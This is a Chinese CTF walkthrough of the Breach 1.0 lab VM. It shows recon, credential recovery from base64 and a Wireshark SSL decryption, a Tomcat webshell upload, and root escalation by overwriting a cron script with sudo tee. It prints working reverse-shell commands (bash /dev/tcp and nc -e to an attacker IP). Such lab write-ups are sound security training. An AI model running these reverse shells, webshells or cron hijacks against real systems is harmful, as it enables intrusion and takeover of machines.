13. CTF綜合靶機滲透(六)


靶機說明

Breach1.0是一個難度為初級到中級的BooT2Root/CTF挑戰。

VM虛機配置有靜態IP地址(192.168.110.140),需要將虛擬機網卡設置為host-only方式組網,並且配置網段。非常感謝Knightmare和rastamouse進行測試和提供反饋。作者期待大家寫出文章,特別是通過非預期的方式獲取root權限。

目標

Boot to root:獲得root權限,查看flag。

運行環境

  • 靶機:網絡連接方式設置為主機模式(host-only),靜態IP是192.168.110.140。
  • 攻擊機:同網段下有kali攻擊機(物理機),IP地址:192.168.110.128,安裝有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.7、JDK、DirBuster、AWVS、Nessus等滲透工具,也可以使用windows攻擊機。

信息收集

  • 端口服務識別

啟動Breach1.0虛擬機,由於IP已知,使用nmap掃描端口,並做服務識別和深度掃描(加-A參數),掃描結果保存到txt文件,命令:

nmap -v -A -p 1-65535 192.168.110.140

發現端口幾乎全開放了,顯然是有問題,虛擬機對端口掃描做了一些防護措施,直接訪問80端口,進入web首頁:

漏洞挖掘

  • 0x01:查看首頁源碼,解碼得到密碼

(1) 查看首頁源代碼,發現提示:

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo   這是一串base64編碼

(2) 將其復制到Burpsuit Decoder進行base64解碼,解密后發現還是base64編碼,繼續base64解碼,得到

 

pgibbons:damnitfeel$goodtobeagang$ta

這看起來像是用戶名和密碼

  • 0x02:登錄cms,查看郵件,下載包含SSL證書的密鑰庫keystore文件

(1) 點擊首頁的圖片,進入 initech.html 頁面

(2)點擊initech.html左邊的 CakeStapler 發現只是簡簡單單的兩張圖片,

(3) 點擊initech.html左邊的 Employee portal 進入到 http://192.168.110.140/impresscms/user.php 這是一個impresscms登錄頁

使用之前兩次base64解碼得到的密碼登錄impresscms:

用戶名:pgibbons

密碼:damnitfeel$goodtobeagang$ta

(3) exploit-db.com查找impress cms漏洞:發現ImpressCMS 1.3.9 SQL注入漏洞 : https://www.exploit-db.com/exploits/39737/%E5%8F%AF%E6%B3%A8%E5%85%A5%E9%A1%B5%E9%9D%A2%E4%B8%BA/modules/profile/admin/field.php,但是該頁面目前沒有權限訪問,無法進行注入。

(4) 注意到左邊的收件箱Inbox顯示有3封郵件

我們依次打開查看:

第一封郵件:

主要內容:讓你的團隊只能向管理門戶發布任何敏感的內容。我的密碼非常安全,發自ImpressCMS Admin Bill

 

第二封郵件:

主要內容:Michael采購了IDS/IPS。

 

第三封郵件:

主要內容:有一個peter的SSL證書被保存在192.168.110.140/.keystore

關鍵恐怕就是這個第三封郵件

(5) 訪問  http://192.168.110.140/.keystore  下載包含SSL證書的密鑰庫keystore文件,keystore是存儲公私密鑰的一種文件格式。

 

  • 0x03:導入流量抓包文件、SSL證書到Wireshark

(1) 依次訪問左邊的菜單樹,點擊每個菜單欄:

菜單欄 content 鏈接了一張圖片troll.gif:

點擊菜單欄 profile 會進入目錄瀏覽:

但都沒發現可利用漏洞,繼續瀏覽每個網頁。

(2) 點擊 View Account 菜單進入界面,再依次點擊頁面的  Content,會彈出一行鏈接  Content SSL implementation test capture ,點擊鏈接,如下圖:

(3) 進入http://192.168.110.140/impresscms/modules/content/content.php?content_id=1頁面,可以看到一個名為_SSL_test_phase1.pcap的Wireshark流量包文件,下載它。

 

同時,該頁面有重要的提示信息:這個pcap文件是有紅色團隊的重新攻擊產生的,但是不能讀取文件。而且

"They told me the alias, storepassword and keypassword are all set to 'tomcat' " 別名、Keystore密碼、key密碼都設置成 tomcat

由此推測:a.這是一個流量包文件,不能讀取很可能因為某些流量有SSL加密(前面的郵件中提供了一個keystore,這里提供了密碼;b.系統中可能存在tomcat。

(4) Windows攻擊機安裝有JDK,到JDK目錄下找到keytool.exe工具:路徑D:\java\bin\keytool.exe

將keystore放到F盤根目錄,查看keystore這個密鑰庫里面的所有證書,命令 keytool -list -keystore F:\keystore  輸入密鑰庫口令 tomcat

(5) 從密鑰庫導出.p12證書,將keystore拷貝到keytool目錄,導出名為:tomcatkeystore.p12 的證書,命令:

keytool -importkeystore -srckeystore F:keystore -destkeystore F:tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

 

查看結構,發現已經成功導出

 

(6) 將.p12證書導入Wireshark

.p12證書存儲在C盤根目錄,將證書導入Wireshark:在Wireshark中打開流量包文件_SSL_test_phase1.pcap,選擇菜單:編輯----->首選項---->Protocols---->SSL,點擊右邊的Edit,輸入:192.168.110.140 8443 http 點擊選擇證書文件 輸入密碼tomcat

 

  • 0x04:從流量包文件中得到tomcat后台URL和密碼

(1) 導入證書后,https流量已經被解密,查看每個http流量包:

發現從192.168.110.129到192.168.110.140的攻擊流量包,其中有cmd命令馬執行了id命令,攻擊者上傳了兩張圖片,疑似圖片馬,但是命令馬無法直接訪問,需要登錄tomcat后台:

(2) 獲得Tomcat后台登錄地址和用戶名密碼

繼續觀察流量包,發現一個Unauthorized的認證包,意思是管理員沒有授權訪問

這是關於Unauthorized的認證包的講解:https://blog.csdn.net/patronsaint/article/details/5639962

該request和response包含了Tomcat后台的登錄地址:

https://192.168.110.140:8443/_M@nag3Me/html

同時發現包含登錄用戶名密碼的數據包, 采用http basic認證,認證數據包為

Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC  :

這是base64編碼的用戶名密碼,將 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 進行解碼,得到Tomcat登錄用戶名密碼

 

Tomcat后台登錄用戶名:tomcat,密碼:Tt5D8F(#!*u=G)4m7zB

 

獲取shell

  • 0x05: 登錄Tomcat后台get shell

(1) 登錄tomcat后台:

(2) Tomcat后台get shell是有標准姿勢的,上養馬場,准備好jsp版本的各種馬,這里有cmd命令小馬,菜刀馬,jspspy大馬,將其打成caidao.zip壓縮包,再將zip壓縮包將擴展名改為caidao.war,將war包上傳部署即可:

(2) 在WAR file to deploy中將war包上傳:

上傳后在目錄中找到上傳的目錄/caidao,已上傳jsp木馬文件就在這個目錄下。

(3) 使用中國菜刀連接https://192.168.110.140:8443/caidao/caidao.jsp

(4) 使用菜刀命令行連接,執行id;pwd命令成功:

(5) 發現的問題:上傳的菜刀馬,一會兒就會消失,文件被刪除,需要重新上傳war包才能夠繼續使用菜刀,主機可能有殺軟或者殺web shell工具。解決方法:bash反彈一個shell出來。

提升權限

  • 0x06: 查看系統用戶,發現mysql root密碼

(1) 查看當前系統用戶,找id為1000以后的用戶 cat /etc/passwd

發現兩個值得關注的用戶:milton 和 blumbergh

(2) 在菜刀里面找到網頁根目錄,默認是在tomcat目錄,找到網頁部署目錄/var/www/5446/

(3) 該目錄下發現兩個奇怪的php文件,命名非常長且無規律fe4db1f7bc038d60776dcb66ab3404d5.php和0d93f85c5061c44cdffeb8381b2772fd.php,使用菜刀下載下來打開查看:

這是mysql數據庫連接文件,使用mysql的root賬號連接數據庫,密碼為空。

(4) 因為菜刀馬總是被刪除,所以反彈shell到nc:在菜刀cmd命令行反彈一個shell到Windows攻擊機的nc,命令:echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash

nc接收反彈sehll成功:

(5) 連接mysql數據庫,查看mysql用戶,這里輸入mysql命令后一直沒有回顯,直到輸入exit退出mysql登錄后,查詢回顯才出來,命令:

mysql -u root -p

use mysql;

select user,password from user;

exit

得到milton用戶的密碼哈希:6450d89bd3aff1d893b85d3ad65d2ec2

https://www.somd5.com/解密,得到用戶milton的明文密碼:thelaststraw

  • 0x07: 提權到用戶milton和blumbergh

(1) 無法執行su命令,顯示需要一個終端,之前都遇到這個問題,通過Python解決:

python -c 'import pty;pty.spawn("/bin/bash")'

(2) 提權到用戶milton

su - milton 密碼:thelaststraw

查看milton用戶home目錄下的some_script.sh文件,沒有可利用的信息。

(3) 查看系統內核版本,命令uanme -acat /etc/issue

系統內核版本為:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提權漏洞。存在本地提權漏洞內核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

(4) 查看歷史命令,無有價值的線索,看到歷史命令su提權到了blumbergh用戶。需要找到blumbergh用戶的密碼。

(5) 到現在發現了7張圖片,6張在圖片目錄:http://192.168.110.140/images/,1張在milton用戶目錄下:

http://192.168.110.140/images/bill.png

http://192.168.110.140/images/initech.jpg

http://192.168.110.140/images/troll.gif

http://192.168.110.140/images/cake.jpg

http://192.168.110.140/images/swingline.jpg

http://192.168.110.140/images/milton_beach.jpg

milton用戶目錄下my_badge.jpg

將圖片復制到kali linux,使用strings打印各圖片其中的可打印字符,追加輸出到images.txt,在vim下查看,密碼在bill.png圖片中。

找到可能的密碼或提示:

發現唯一的單詞是:coffeestains

或者使用exiftool.exe工具查看bill.png圖片的exif信息,得到可能的密碼:coffeestains

(6)提權到blumbergh用戶

用戶名:blumbergh

密碼:coffeestains

(7)查看歷史命令,發現/usr/share/cleanup和tidyup.sh腳本文件:

讀取tidyup.sh腳本分析:

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

這是一段清理腳本,描述中說明每3分鍾執行清理,刪除webapps目錄下的文件,因此之前上傳的菜刀馬總是被刪除,需要重新上傳。

查看tidyup.sh的權限,對該腳本沒有寫入權限,只有root可以

查看sudo權限,執行sudo -l:

發現用戶能夠以root權限執行這tee程序或tidyup.sh腳本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh

tee命令用於讀取標准輸入的數據,並將其內容輸出成文件。tidyup.sh是清理腳本。

  • 0x07:反彈root權限shell,獲取flag

(1) 向tidyup.sh中寫入反彈shell命令

tidyup.sh文件只有root可寫,而能夠以root權限運行tee命令,那么用tee命令寫tidyup.sh:先將反彈shell命令寫入shell.txt文件,使用bash反彈shell命令沒有成功,於是使用nc命令反彈shell成功,所以寫nc反彈命令:

echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt

再使用tee命令將shell.txt內容輸出到tidyup.sh

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看tidyup.sh文件寫入成功:

cat /usr/share/cleanup/tidyup.sh

(2) nc監聽等待反彈shell,查看權限是root,flag是一張圖片,將圖片拷貝到home目錄:

(3) 查看一下crontab計划任務,發現果然有每3分鍾執行tidyup.sh清理腳本的任務:

(4) 使用之前上傳的jsp大馬JspSpy將flair.jpg下載到Windows:

(5) 查看flag:I NEED TO TALK ABOUT YOUR FLAIR 游戲通關。

總結

  • 主要突破點:

(1) 從網頁源碼和圖片字符中解密出CMS和Tomcat的賬號、密碼。

(2) 導入ssl證書到Wireshark中解密經過SSL加密的流量,獲得Tomcat后台登錄URL和賬號密碼。

(3) Tomcat后台get shell姿勢要熟練。

(4) 提權:找到兩個賬號的密碼,發現可以root權限執行的tee命令和tidyup.sh清理腳本,通過計划任務反彈root shell。

  • 難點和踩到的坑:

(1) 使用keytool導出SSL證書:這是非常規滲透知識,需要查閱原理和工具使用,耗費時間較多。

(2) Tomcat后台get shell后,已上傳的菜刀馬總是被殺,每次傳上去過不了幾分鍾沒了,當時以為該系統安裝了殺毒軟件或web shell清理工具,實際是因為主機tidyup.sh清理腳本,每3分鍾清理一次。反彈出一個shell就可以持續使用shell了。

(3) 連接mysql執行命令,沒有回顯。菜刀執行命令超時,nc中只有exit退出時才回顯,當時打算放棄了,才exit退出,結果退出才有回顯,發現了milton賬號的密碼哈希。山重水復疑無路,柳暗花明又一村。

(4) 花費較多時間進行兩次賬號切換,再反彈root shell提權。發現和利用tidyup.sh需要較多時間。

(5) 通過crontab的計划任務,反彈root shell的方式,在真實滲透測試中是常見的,比如redis的root空口令挖礦,可以ssh證書連接,也可以寫root crontab反彈,但是在Vulnhub中第一次遇到,對初學者有難度。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM